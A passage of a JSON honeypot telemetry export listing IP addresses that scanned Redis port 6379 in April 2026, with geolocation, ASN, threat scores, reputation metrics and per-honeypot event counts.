        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-09T16:51:36.781000+00:00",
        "last_seen_30d": "2026-04-30T12:28:12.628000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Honeytrap": 4,
        "Redishoneypot": 3
      }
    },
    "120.48.100.73": {
      "attack_count": 15,
      "first_seen": "2026-04-01T14:26:59.000Z",
      "last_seen": "2026-04-12T13:58:03.338Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 8.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T14:28:01.228000+00:00",
        "last_seen_30d": "2026-04-12T13:58:03.338000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3
      }
    },
    "172.174.236.9": {
      "attack_count": 15,
      "first_seen": "2026-04-13T14:23:40.000Z",
      "last_seen": "2026-04-13T14:25:53.959Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 57.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.3,
        "persistence": 20.0,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 24,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-07T02:26:22.084000+00:00",
        "last_seen_30d": "2026-04-30T23:41:54.878000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 10,
        "Honeytrap": 4,
        "Redishoneypot": 3
      }
    },
    "18.119.209.50": {
      "attack_count": 15,
      "first_seen": "2026-04-12T02:07:05.000Z",
      "last_seen": "2026-04-26T00:52:02.817Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 76.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 26.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 437,
        "days_active_30d": 30,
        "ports_targeted_30d": 182,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T01:12:59.941000+00:00",
        "last_seen_30d": "2026-04-30T16:50:04.102000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 437
      }
    },
    "20.12.240.9": {
      "attack_count": 15,
      "first_seen": "2026-04-17T09:58:28.000Z",
      "last_seen": "2026-04-17T10:01:46.145Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 44.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.2,
        "persistence": 17.5,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 21,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-04T14:54:41.256000+00:00",
        "last_seen_30d": "2026-04-24T18:54:02.529000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 16,
        "Redishoneypot": 3,
        "Honeytrap": 2
      }
    },
    "20.121.46.221": {
      "attack_count": 15,
      "first_seen": "2026-04-07T07:43:49.000Z",
      "last_seen": "2026-04-07T07:46:40.386Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 49.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.6,
        "persistence": 17.5,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 21,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-07T07:44:57.968000+00:00",
        "last_seen_30d": "2026-04-27T22:03:05.540000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Honeytrap": 4,
        "Redishoneypot": 3
      }
    },
    "20.168.123.224": {
      "attack_count": 15,
      "first_seen": "2026-04-05T16:35:51.000Z",
      "last_seen": "2026-04-05T16:37:54.336Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 16.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 6.7,
        "diversity": 12,
        "spread": 15,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 8,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-04T13:03:24+00:00",
        "last_seen_30d": "2026-04-11T21:02:10.886000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Redishoneypot": 3,
        "Honeytrap": 2
      }
    },
    "20.169.104.65": {
      "attack_count": 15,
      "first_seen": "2026-04-16T03:35:34.000Z",
      "last_seen": "2026-04-16T03:38:10.180Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 66.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.1,
        "persistence": 24.2,
        "diversity": 10,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 26,
        "days_active_30d": 29,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T23:43:53.724000+00:00",
        "last_seen_30d": "2026-04-29T06:54:43.887000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 16,
        "Honeytrap": 6,
        "Redishoneypot": 3,
        "Mailoney": 1
      }
    },
    "57.152.33.247": {
      "attack_count": 15,
      "first_seen": "2026-04-02T08:22:13.000Z",
      "last_seen": "2026-04-02T08:24:04.224Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 47.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.0,
        "persistence": 20.0,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 24,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-02T08:22:55+00:00",
        "last_seen_30d": "2026-04-25T18:53:12.051000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 10,
        "Honeytrap": 3,
        "Redishoneypot": 3
      }
    },
    "34.53.157.75": {
      "attack_count": 14,
      "first_seen": "2026-04-29T11:52:20.000Z",
      "last_seen": "2026-04-29T13:25:16.975Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 10.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 3.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 2,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-29T11:53:53.464000+00:00",
        "last_seen_30d": "2026-04-29T13:25:16.975000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 2
      }
    },
    "66.132.172.134": {
      "attack_count": 14,
      "first_seen": "2026-04-24T11:33:38.000Z",
      "last_seen": "2026-04-24T11:34:45.413Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 96.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 26.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 444,
        "days_active_30d": 30,
        "ports_targeted_30d": 58,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-04-01T10:44:07+00:00",
        "last_seen_30d": "2026-04-30T10:26:00.740000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 327,
        "Honeytrap": 49,
        "ElasticPot": 26,
        "Ciscoasa": 12,
        "Cowrie": 8,
        "Tanner": 8,
        "Redishoneypot": 6,
        "H0neytr4p": 4,
        "ConPot": 3,
        "Dionaea": 1
      }
    },
    "91.230.168.172": {
      "attack_count": 14,
      "first_seen": "2026-04-24T19:45:55.000Z",
      "last_seen": "2026-04-24T19:47:05.612Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 80.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 122,
        "days_active_30d": 30,
        "ports_targeted_30d": 45,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T02:24:44+00:00",
        "last_seen_30d": "2026-04-30T20:15:14.636000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 74,
        "Honeytrap": 45,
        "Redishoneypot": 3
      }
    },
    "66.132.195.102": {
      "attack_count": 13,
      "first_seen": "2026-04-28T03:32:05.000Z",
      "last_seen": "2026-04-28T03:33:10.663Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 91.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 143,
        "days_active_30d": 30,
        "ports_targeted_30d": 22,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-04-01T15:53:42+00:00",
        "last_seen_30d": "2026-04-30T19:53:30.736000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 100,
        "Honeytrap": 16,
        "Ciscoasa": 6,
        "Cowrie": 6,
        "Redishoneypot": 6,
        "ElasticPot": 4,
        "Adbhoney": 2,
        "Dionaea": 2,
        "Dicompot": 1
      }
    },
    "91.230.168.139": {
      "attack_count": 13,
      "first_seen": "2026-04-12T22:21:08.000Z",
      "last_seen": "2026-04-12T22:22:26.812Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 84.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 87,
        "days_active_30d": 30,
        "ports_targeted_30d": 32,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T04:50:30.265000+00:00",
        "last_seen_30d": "2026-04-30T14:38:54.826000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 52,
        "Honeytrap": 31,
        "Redishoneypot": 3,
        "Dionaea": 1
      }
    },
    "160.119.76.200": {
      "attack_count": 12,
      "first_seen": "2026-04-03T04:20:57.000Z",
      "last_seen": "2026-04-29T10:50:03.181Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 49870,
      "as_org": "Alsycon B.V.",
      "threat_score": 98.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 137590,
        "days_active_30d": 28,
        "ports_targeted_30d": 68109,
        "honeypots_triggered_30d": 11,
        "first_seen_30d": "2026-04-03T02:37:28.059000+00:00",
        "last_seen_30d": "2026-04-30T15:48:42.284000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 135215,
        "Tanner": 1565,
        "Honeytrap": 532,
        "H0neytr4p": 229,
        "Cowrie": 24,
        "Dionaea": 11,
        "ConPot": 5,
        "Miniprint": 3,
        "Adbhoney": 2,
        "Dicompot": 2,
        "Redishoneypot": 2
      }
    },
    "199.45.155.95": {
      "attack_count": 12,
      "first_seen": "2026-04-23T23:58:33.000Z",
      "last_seen": "2026-04-23T23:59:38.031Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398722,
      "as_org": "Censys, Inc.",
      "threat_score": 67.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.5,
        "persistence": 20.8,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 45,
        "days_active_30d": 25,
        "ports_targeted_30d": 16,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-04T06:44:22.962000+00:00",
        "last_seen_30d": "2026-04-28T08:21:06.026000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 25,
        "Honeytrap": 14,
        "Redishoneypot": 6
      }
    },
    "66.132.172.186": {
      "attack_count": 12,
      "first_seen": "2026-04-30T05:34:40.000Z",
      "last_seen": "2026-04-30T05:35:46.000Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 91.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.6,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 183,
        "days_active_30d": 29,
        "ports_targeted_30d": 49,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-02T02:00:57+00:00",
        "last_seen_30d": "2026-04-30T21:58:00.875000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 106,
        "Honeytrap": 63,
        "Cowrie": 6,
        "Redishoneypot": 6,
        "Dionaea": 2
      }
    },
    "66.132.172.36": {
      "attack_count": 12,
      "first_seen": "2026-04-25T11:08:58.000Z",
      "last_seen": "2026-04-25T11:10:06.991Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 90.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 102,
        "days_active_30d": 30,
        "ports_targeted_30d": 40,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T09:27:59+00:00",
        "last_seen_30d": "2026-04-30T02:45:34.698000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 50,
        "Honeytrap": 39,
        "Cowrie": 6,
        "Redishoneypot": 6,
        "Dionaea": 1
      }
    },
    "66.132.186.206": {
      "attack_count": 12,
      "first_seen": "2026-04-08T02:33:56.000Z",
      "last_seen": "2026-04-08T02:35:07.166Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 90.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.5,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 140,
        "days_active_30d": 29,
        "ports_targeted_30d": 39,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-02T07:41:25+00:00",
        "last_seen_30d": "2026-04-30T02:35:42.568000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 85,
        "Honeytrap": 43,
        "Redishoneypot": 6,
        "CitrixHoneypot": 4,
        "Dionaea": 2
      }
    },
    "66.132.195.72": {
      "attack_count": 12,
      "first_seen": "2026-04-09T23:26:26.000Z",
      "last_seen": "2026-04-09T23:27:33.845Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 84.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.6,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 146,
        "days_active_30d": 28,
        "ports_targeted_30d": 30,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-04-01T04:30:21+00:00",
        "last_seen_30d": "2026-04-28T05:46:26.333000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 90,
        "Honeytrap": 34,
        "Redishoneypot": 6,
        "CitrixHoneypot": 4,
        "ConPot": 4,
        "ElasticPot": 4,
        "Dionaea": 1
      }
    },
    "66.132.195.80": {
      "attack_count": 12,
      "first_seen": "2026-04-18T15:37:24.000Z",
      "last_seen": "2026-04-18T15:38:34.791Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 91.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.4,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 175,
        "days_active_30d": 29,
        "ports_targeted_30d": 39,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-02T12:56:13.581000+00:00",
        "last_seen_30d": "2026-04-30T07:38:00.771000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 113,
        "Honeytrap": 38,
        "ElasticPot": 12,
        "Redishoneypot": 6,
        "Cowrie": 4
      }
    },
    "101.126.20.199": {
      "attack_count": 11,
      "first_seen": "2026-04-09T09:49:43.000Z",
      "last_seen": "2026-04-16T09:09:37.896Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 8.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 3.0,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 2,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-09T09:50:56.777000+00:00",
        "last_seen_30d": "2026-04-16T09:09:37.896000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Suricata": 2
      }
    },
    "66.132.172.109": {
      "attack_count": 11,
      "first_seen": "2026-04-06T00:40:53.000Z",
      "last_seen": "2026-04-06T00:40:56.000Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 80.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 119,
        "days_active_30d": 30,
        "ports_targeted_30d": 40,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T12:10:19+00:00",
        "last_seen_30d": "2026-04-30T23:18:16.467000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 59,
        "Honeytrap": 54,
        "Redishoneypot": 6
      }
    },
    "147.185.132.27": {
      "attack_count": 10,
      "first_seen": "2026-04-04T01:36:39.000Z",
      "last_seen": "2026-04-04T01:38:16.828Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 84.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.4,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 110,
        "days_active_30d": 29,
        "ports_targeted_30d": 32,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-02T07:21:20+00:00",
        "last_seen_30d": "2026-04-30T23:20:24.903000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 70,
        "Honeytrap": 33,
        "Adbhoney": 4,
        "Redishoneypot": 3
      }
    },
    "198.235.24.199": {
      "attack_count": 10,
      "first_seen": "2026-04-09T01:55:00.000Z",
      "last_seen": "2026-04-09T01:56:38.518Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 82.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.9,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 98,
        "days_active_30d": 28,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-01T04:41:50+00:00",
        "last_seen_30d": "2026-04-28T23:49:36.806000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 63,
        "Honeytrap": 25,
        "Adbhoney": 4,
        "Redishoneypot": 3,
        "Cowrie": 2,
        "Dionaea": 1
      }
    },
    "20.253.66.6": {
      "attack_count": 10,
      "first_seen": "2026-04-19T00:53:35.000Z",
      "last_seen": "2026-04-19T00:54:44.463Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 11.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T00:53:35+00:00",
        "last_seen_30d": "2026-04-19T00:54:44.463000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
        "Suricata": 1
      }
    },
    "212.227.57.38": {
      "attack_count": 10,
      "first_seen": "2026-04-16T01:15:45.000Z",
      "last_seen": "2026-04-20T22:16:57.412Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 8560,
      "as_org": "IONOS SE",
      "threat_score": 9.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 3.0,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 2,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-16T01:16:49.944000+00:00",
        "last_seen_30d": "2026-04-20T22:16:57.412000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 2
      }
    },
    "111.118.251.133": {
      "attack_count": 9,
      "first_seen": "2026-04-06T01:27:56.000Z",
      "last_seen": "2026-04-06T01:28:59.539Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Indore",
      "asn": 55353,
      "as_org": "RAJESH PATEL NET SERVICES PVT. LTD.",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T01:27:56+00:00",
        "last_seen_30d": "2026-04-06T01:28:59.539000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
        "Suricata": 1
      }
    },
    "124.71.110.43": {
      "attack_count": 9,
      "first_seen": "2026-04-19T00:16:00.000Z",
      "last_seen": "2026-04-19T00:17:05.059Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 55990,
      "as_org": "Huawei Cloud Service data center",
      "threat_score": 11.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T00:16:01+00:00",
        "last_seen_30d": "2026-04-19T00:17:05.059000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
        "Suricata": 1
      }
    },
    "137.184.63.241": {
      "attack_count": 9,
      "first_seen": "2026-04-03T03:40:55.000Z",
      "last_seen": "2026-04-03T03:42:15.748Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 53.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 24.2,
        "persistence": 19.2,
        "diversity": 12,
        "spread": 15,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 263,
        "days_active_30d": 23,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T22:44:41.282000+00:00",
        "last_seen_30d": "2026-04-23T02:54:51.637000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 140,
        "Honeytrap": 120,
        "Redishoneypot": 3
      }
    },
    "185.61.137.186": {
      "attack_count": 9,
      "first_seen": "2026-04-01T09:49:49.000Z",
      "last_seen": "2026-04-01T09:51:00.457Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": null,
      "asn": 47674,
      "as_org": "Net Solutions - Consultoria Em Tecnologias De Informacao, Sociedade Unipessoal LDA",
      "threat_score": 61.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.2,
